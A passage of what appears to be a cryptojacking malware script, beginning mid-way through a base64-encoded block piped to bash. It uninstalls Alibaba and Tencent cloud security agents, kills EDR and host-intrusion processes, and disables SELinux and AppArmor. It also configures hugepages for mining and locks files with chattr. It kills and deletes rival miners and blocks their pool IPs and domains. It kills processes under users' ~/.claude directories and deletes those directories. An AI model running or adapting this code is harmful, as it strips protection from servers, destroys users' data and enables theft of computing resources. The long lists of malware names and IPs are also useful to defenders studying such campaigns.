udGYgIiUtNDBzICU0MHNcbiIgIlN0b3BwaW5nIGFlZ2lzIiAiWyAgT0sgIF0iCn0KCiMgY2FuIG5vdCByZW1vdmUgYWxsIGFlZ2lzIGZvbGRlciwgYmVjYXVzZSB0aGVyZSBpcyBiYWNrdXAgZmlsZSBpbiBnbG9iYWxjZmcKcmVtb3ZlX2FlZ2lzKCl7Cmtwcm9iZUFycj0oCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfZG9fc3lzX29wZW4vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2luZXRfY3NrX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9pbnN0YW5jZXMvYWVnaXNfdGNwX2Nvbm5lY3Qvc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzL3NldF9ldmVudCIKICAgICIvc3lzL2tlcm5lbC9kZWJ1Zy90cmFjaW5nL2luc3RhbmNlcy9hZWdpc18vc2V0X2V2ZW50IgogICAgIi9zeXMva2VybmVsL2RlYnVnL3RyYWNpbmcvaW5zdGFuY2VzL2FlZ2lzX2FjY2VwdC9zZXRfZXZlbnQiCiAgICAiL3N5cy9rZXJuZWwvZGVidWcvdHJhY2luZy9rcHJvYmVfZXZlbnRzIgogICAgIi91c3IvbG9jYWwvYWVnaXMvYWVnaXNfZGVidWcvdHJhY2luZy9zZXRfZXZlbnQiCiAgICAiL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19kZWJ1Zy90cmFjaW5nL2twcm9iZV9ldmVudHMiCikKZm9yIHZhbHVlIGluICR7a3Byb2JlQXJyW0BdfQpkbwogICAgaWYgWyAtZiAiJHZhbHVlIiBdOyB0aGVuCiAgICAgICAgZWNobyA+ICR2YWx1ZQogICAgZmkKZG9uZQppZiBbIC1kICIke0FFR0lTX0lOU1RBTExfRElSfSIgXTt0aGVuCiAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKICAgIGlmIFsgLWQgIiR7QUVHSVNfSU5TVEFMTF9ESVJ9L2Nncm91cC9jcHUiIF07dGhlbgogICAgICAgIHVtb3VudCAke0FFR0lTX0lOU1RBTExfRElSfS9jZ3JvdXAvY3B1CiAgICBmaQogICAgaWYgWyAtZCAiJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwIiBdO3RoZW4KICAgICAgICB1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vY2dyb3VwCiAgICBmaQogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX2NsaWVudAogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX3VwZGF0ZQoJcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FsaWhpZHMKICAgIHJtIC1yZiAke0FFR0lTX0lOU1RBTExfRElSfS9nbG9iYWxjZmcvZG9tYWluY2ZnLmluaQpmaQp9Cgp1bmluc3RhbGxfc2VydmljZSgpIHsKICAgCiAgIGlmIFsgLWYgIi9ldGMvaW5pdC5kL2FlZ2lzIiBdOyB0aGVuCgkJL2V0Yy9pbml0LmQvYWVnaXMgc3RvcCAgPi9kZXYvbnVsbCAyPiYxCgkJcm0gLWYgL2V0Yy9pbml0LmQvYWVnaXMgCiAgIGZpCgoJaWYgWyAkTElOVVhfUkVMRUFTRSA9ICJHRU5UT08iIF07IHRoZW4KCQlyYy11cGRhdGUgZGVsIGFlZ2lzIGRlZmF1bHQgMj4vZGV2L251bGwKCQlpZiBbIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiBdOyB0aGVuCgkJCXJtIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiA+L2Rldi9udWxsIDI+JjE7CgkJZmkKICAgIGVsaWYgWyAtZiAvZXRjL2luaXQuZC9hZWdpcyBdOyB0aGVuCiAgICAgICAgIC9ldGMvaW5pdC5kL2FlZ2lzICB1bmluc3RhbGwKCSAgICBmb3IgKCh2YXI9MjsgdmFyPD01OyB2YXIrKykpIGRvCgkJCWlmIFsgLWQgIi9ldGMvcmMke3Zhcn0uZC8iIF07dGhlbgoJCQkJIHJtIC1mICIvZXRjL3JjJHt2YXJ9LmQvUzgwYWVnaXMiCgkJICAgIGVsaWYgWyAtZCAiL2V0Yy9yYy5kL3JjJHt2YXJ9LmQiIF07dGhlbgoJCQkJcm0gLWYgIi9ldGMvcmMuZC9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCQlmaQoJCWRvbmUKICAgIGZpCn0KCnN0b3BfYWVnaXNfcGtpbGwKdW5pbnN0YWxsX3NlcnZpY2UKcmVtb3ZlX2FlZ2lzCnVtb3VudCAke0FFR0lTX0lOU1RBTExfRElSfS9hZWdpc19kZWJ1ZwoKCnByaW50ZiAiJS00MHMgJTQwc1xuIiAiVW5pbnN0YWxsaW5nIGFlZ2lzIiAgIlsgIE9LICBdIgoKCgo=' | base64 -d | bash
  echo 'IyEvYmluL2Jhc2gKCiNjaGVjayBsaW51eCBHZW50b28gb3MgCnZhcj1gbHNiX3JlbGVhc2UgLWEgfCBncmVwIEdlbnRvb2AKaWYgWyAteiAiJHt2YXJ9IiBdOyB0aGVuIAoJdmFyPWBjYXQgL2V0Yy9pc3N1ZSB8IGdyZXAgR2VudG9vYApmaQoKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbHNlCglMSU5VWF9SRUxFQVNFPSJPVEhFUiIKZmkKCnN0b3BfYWVnaXMoKXsKCWtpbGxhbGwgLTkgYWVnaXNfY2xpID4vZGV2L251bGwgMj4mMQoJa2lsbGFsbCAtOSBhZWdpc191cGRhdGUgPi9kZXYvbnVsbCAyPiYxCglraWxsYWxsIC05IGFlZ2lzX2NsaSA+L2Rldi9udWxsIDI+JjEKICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgYWVnaXMiICJbICBPSyAgXSIKfQoKc3RvcF9xdWFydHooKXsKCWtpbGxhbGwgLTkgYWVnaXNfcXVhcnR6ID4vZGV2L251bGwgMj4mMQogICAgICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgcXVhcnR6IiAiWyAgT0sgIF0iCn0KCnJlbW92ZV9hZWdpcygpewppZiBbIC1kIC91c3IvbG9jYWwvYWVnaXMgXTt0aGVuCiAgICBybSAtcmYgL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19jbGllbnQKICAgIHJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3VwZGF0ZQpmaQp9CgpyZW1vdmVfcXVhcnR6KCl7CmlmIFsgLWQgL3Vzci9sb2NhbC9hZWdpcyBdO3RoZW4KCXJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3F1YXJ0egpmaQp9CgoKdW5pbnN0YWxsX3NlcnZpY2UoKSB7CiAgIAogICBpZiBbIC1mICIvZXRjL2luaXQuZC9hZWdpcyIgXTsgdGhlbgoJCS9ldGMvaW5pdC5kL2FlZ2lzIHN0b3AgID4vZGV2L251bGwgMj4mMQoJCXJtIC1mIC9ldGMvaW5pdC5kL2FlZ2lzIAogICBmaQoKCWlmIFsgJExJTlVYX1JFTEVBU0UgPSAiR0VOVE9PIiBdOyB0aGVuCgkJcmMtdXBkYXRlIGRlbCBhZWdpcyBkZWZhdWx0IDI+L2Rldi9udWxsCgkJaWYgWyAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgXTsgdGhlbgoJCQlybSAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgPi9kZXYvbnVsbCAyPiYxOwoJCWZpCiAgICBlbGlmIFsgLWYgL2V0Yy9pbml0LmQvYWVnaXMgXTsgdGhlbgogICAgICAgICAvZXRjL2luaXQuZC9hZWdpcyAgdW5pbnN0YWxsCgkgICAgZm9yICgodmFyPTI7IHZhcjw9NTsgdmFyKyspKSBkbwoJCQlpZiBbIC1kICIvZXRjL3JjJHt2YXJ9LmQvIiBdO3RoZW4KCQkJCSBybSAtZiAiL2V0Yy9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCSAgICBlbGlmIFsgLWQgIi9ldGMvcmMuZC9yYyR7dmFyfS5kIiBdO3RoZW4KCQkJCXJtIC1mICIvZXRjL3JjLmQvcmMke3Zhcn0uZC9TODBhZWdpcyIKCQkJZmkKCQlkb25lCiAgICBmaQoKfQoKc3RvcF9hZWdpcwpzdG9wX3F1YXJ0egp1bmluc3RhbGxfc2VydmljZQpyZW1vdmVfYWVnaXMKcmVtb3ZlX3F1YXJ0egoKcHJpbnRmICIlLTQwcyAlNDBzXG4iICJVbmluc3RhbGxpbmcgYWVnaXNfcXVhcnR6IiAgIlsgIE9LICBdIgoKCgo=' | base64 -d | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
  /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor
else
  export ARCH=amd64
  if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
    /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor
  else
    echo "ali cloud monitor not running"
  fi
fi

setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'httpgd' | awk '{print $2}' | xargs -I {} kill -9 {}
pkill -9 -f "kworker_u8_0|xmrig"
rm -rf /usr/local/aegis

sleep 1

if [ -x "$(command -v t)" ]; then
  mv /usr/bin/t /usr/bin/chattr
fi

if [ -x "$(command -v chattr)" ]; then
  chattr -i /usr/bin/ip6network
  chattr -i /usr/bin/kswaped
  chattr -i /usr/bin/irqbalanced
  chattr -i /usr/bin/rctlcli
  chattr -i /usr/bin/systemd-network
  chattr -i /usr/bin/pamdicks
  echo 1 > /usr/bin/ip6network
  echo 2 > /usr/bin/kswaped
  echo 3 > /usr/bin/irqbalanced
  echo 4 > /usr/bin/rctlcli
  echo 5 > /usr/bin/systemd-network
  echo 6 > /usr/bin/pamdicks
  chattr +i /usr/bin/ip6network
  chattr +i /usr/bin/kswaped
  chattr +i /usr/bin/irqbalanced
  chattr +i /usr/bin/rctlcli
  chattr +i /usr/bin/systemd-network
  chattr +i /usr/bin/pamdicks
fi
sleep 1

rm -f /tmp/.null 2>/dev/null
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128

ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "httpgd" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'httpgd' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %




iptables -A OUTPUT -d 176.65.148.250 -j DROP   
iptables -A OUTPUT -d 193.41.68.194 -j DROP    
iptables -A OUTPUT -d 95.85.237.149 -j DROP    
iptables -A OUTPUT -d 2.26.99.68 -j DROP       
iptables -A OUTPUT -d 141.94.96.71 -j DROP     
sudo sed -i '/apt-update\.com/d' /etc/hosts
echo "127.0.0.1 apt-update.com" >> /etc/hosts

pkill -9 -f 'unicorn'                    
    pkill -9 -f 'CRON jobs'                 
    pkill -9 -f '/\.claude/'               
    
    for u in $(awk -F: '$3>=1000{print $1}' /etc/passwd); do
        h=$(eval echo ~$u)
        rm -rf "$h/.claude/"                
        crontab -u "$u" -l ... | grep -v ... 
    done
    
    rm -rf /usr/bin/unicorn/ /usr/local/sbin/unicorn ... 
pgrep -f auditsd | xargs -r kill -9 2>/dev/null
pkill -9 -f 'auditsd' 2>/dev/null
for _d in /proc/[0-9]*; do
    _pid=${_d##*/}
    _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
    case "$_exe" in
        *ssl-compet*|*mnmonitor*|*cpuhide*|*.gt_sys_health*|*.gt_sys_wd*|*.gt_cron_health*)
            kill -9 "$_pid" 2>/dev/null
            ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=${_d##*/}
    _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null) || continue
    case "$_cmd" in
        "[kworker"*|"[kswapd"*|"[kblockd"*|"[khugepaged"*|"[kdevtmpfs"*|"[kcompactd"*|"[watchdog"*|"[ksoftirqd"*)
            _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
            [ -n "$_uid" ] && [ "$_uid" != "0" ] && kill -9 "$_pid" 2>/dev/null
            ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=${_d##*/}
    _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
    [ -n "$_uid" ] && [ "$_uid" = "0" ] && continue
    _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
    case "$_exe" in
        /dev/shm/*|/var/tmp/*|/tmp/*|/dev/sdhm/*)
            _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
            case "$_cmd" in
                *javab*|*ksmd*|*idle*|*.khp*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
                    :
                    ;;
                *)
                    kill -9 "$_pid" 2>/dev/null
                    rm -f "$_exe" 2>/dev/null
                    ;;
            esac
            ;;
    esac
done
pkill -9 -f 'gt_sys_health' 2>/dev/null
pkill -9 -f 'gt_cron_health' 2>/dev/null
pkill -9 -f 'gt_sys_wd' 2>/dev/null
pkill -9 -f 'ssl-compet' 2>/dev/null
pkill -9 -f 'mnmonitor' 2>/dev/null
pkill -9 -f 'cpuhide' 2>/dev/null
pkill -9 -f '\.xmon' 2>/dev/null
rm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json 2>/dev/null
rm -rf /dev/shm/.xmon-112 /dev/shm/.xmon* /dev/shm/xmon* /tmp/.xmon* /var/tmp/.xmon* ~/.cache/.dbus/mnmonitor.sh 2>/dev/null
find / -maxdepth 4 -name ".xmon*" -exec rm -rf {} \; 2>/dev/null
find / -maxdepth 4 -name "ssl-compet" -exec rm -f {} \; 2>/dev/null
crontab -l 2>/dev/null | grep -vE 'gt_sys_wd|xmon|mnmonitor' | crontab - 2>/dev/null
crontab -u git -l 2>/dev/null | grep -vE 'gt_sys_wd|xmon|mnmonitor' | crontab -u git - 2>/dev/null
iptables -I OUTPUT -d 45.77.67.39 -j DROP 2>/dev/null
iptables -I OUTPUT -d 111.90.158.58 -j DROP 2>/dev/null
iptables -I OUTPUT -d 111.90.139.202 -j DROP 2>/dev/null
iptables -I OUTPUT -d 47.86.46.179 -j DROP 2>/dev/null
iptables -I OUTPUT -d 47.86.46.0/24 -j DROP 2>/dev/null
iptables -I OUTPUT -d 167.179.119.120 -j DROP 2>/dev/null
grep -q 'fix.unknower.win' /etc/hosts 2>/dev/null || echo "127.0.0.1 fix.unknower.win" >> /etc/hosts
grep -q 'auto.c3pool.org' /etc/hosts 2>/dev/null || echo "127.0.0.1 auto.c3pool.org" >> /etc/hosts
pkill -9 -f '\.global' 2>/dev/null    
rm -rf /opt/*/bin/.global* 2>/dev/null
rm -rf /opt/teamcity/bin/.global* /opt/TeamCity/bin/.global* 2>/dev/null
rm -rf /tmp/.global* /dev/shm/.global* /var/tmp/.global* 2>/dev/null
find / -maxdepth 5 -name ".global*" -exec rm -rf {} \; 2>/dev/null
crontab -l 2>/dev/null | grep -v 'pastebin.com/raw' | crontab - 2>/dev/null
sed -i '/pastebin/d' /etc/crontab /etc/cron.d/* 2>/dev/null
pkill -9 -f 'pastebin.com/raw' 2>/dev/null
pgrep -f kthrotlds | xargs -r kill -9 2>/dev/null
pgrep -f 'kdevtmpfsi' | xargs -r kill -9 2>/dev/null




pgrep -f 'L2Jpbi9iYXN|xzpauectgr|slxfbkmxtd|mixtape|addnj|200.68.17.196|mwyumwdbpq.conf|honvbsasbf.conf|mqdsflm.cf|lower.sh|./ppp|cryptonight|./seervceaess|./servceaess|./servceas|./servcesa|./vsp|./jvs|./pvv|./vpp|./pces|./rspce|./haveged|./jiba|./watchbog|kacpi_svc|kswap_svc|kauditd_svc|kpsmoused_svc|kseriod_svc|kthreadd_svc|ksoftirqd_svc|kintegrityd_svc|jawa|oracle.jpg|188.209.49.54|181.214.87.241|servim|kblockd_svc|native_svc|ynn|65ccEJ7|jmxx|2Ne80nA|sysstats|systemxlv|watchbog|OIcJi1m' | xargs -r kill -9
pkill -f -e 'biosetjenkins|Loopback|apaceha|httpgd|cryptonight|mixnerdx|performedl|conns|crypto-pool|XJnRj|mgwsl|pythno|jweri|lx26|NXLAi|BI5zj|askdljlqw|minergate|Guard.sh|ysaydh|bonns|donns|kxjd|Duck.sh|bonn.sh|conn.sh|kworker34|kw.sh|pro.sh|icb5o|nopxi|irqbalanc1|minerd|i586|gddr|mstxmr|ddg.2011|wnTKYg|deamon|disk_genius|sourplum|nanoWatch|zigw|devtool|devtools|watchbog|sustes|xmrig|httpgd|xmrig-cpu|121.42.151.137|init12.cfg|nginxk|tmp/wc.confz|xmrig-notls|xmr-stak|suppoie|zer0day.ru|nullcrew|systemctI|kworkerds|init10.cfg|/wl.conf|crond64|sustse|vmlinuz|exin|apachiii|crypto|tntrecht|xr|svcupdate'
pkill -9 -f 'cnrig'
rm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /usr/bin/config.json /usr/bin/exin /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /tmp/javax/config.sh /tmp/javax/sshd2 /tmp/.profile /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/65ccEJ7 /tmp/jmxx /tmp/2Ne80nA /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/.tmpleve /tmp/.tmpnewzz /tmp/.java /tmp/.omed /tmp/.tmpc /tmp/.tmpleve /tmp/.tmpnewzz /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs /tmp/.rod /tmp/.rod.tgz /tmp/.rod.tgz.1 /tmp/.rod.tgz.2 /tmp/.mer /tmp/.mer.tgz /tmp/.mer.tgz.1 /tmp/.hod /tmp/.hod.tgz /tmp/.hod.tgz.1 /tmp/84Onmce /tmp/C4iLM4L /tmp/lilpip /tmp/3lmigMo /tmp/am8jmBP /tmp/tmp.txt /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/baby /tmp/java /tmp/j2.conf /tmp/.mynews1234 /tmp/a3e12d /tmp/.pt /tmp/.pt.tgz /tmp/.pt.tgz.1 /tmp/go /tmp/java /tmp/j2.conf /tmp/.tmpnewasss /tmp/java /tmp/go.sh /tmp/go2.sh /tmp/khugepageds /tmp/.censusqqqqqqqqq /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/httpgd /etc/httpgd /etc/ndt.sh /etc/is.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr
rm -f /usr/local/lib/libioset.so

systemctl stop moneroocean_miner.service
systemctl stop systemde.service
rm -f /usr/local/lib/libioset.so
rm -rf /tmp/watchdogs
rm -rf /tmp/httpgd
rm -rf /tmp/.ICEd-unix
rm -rf /etc/cron.d/tomcat
rm -rf /etc/rc.d/init.d/watchdogs
rm -rf /usr/sbin/watchdogs
rm -rf /tmp/httpgd
rm -rf /tmp/ndt.sh
rm -rf /tmp/nnt.sh
rm -rf /tmp/AppleWebKit53736
rm -rf /tmp/is.sh
rm -rf /etc/httpgd
rm -rf /etc/ndt.sh
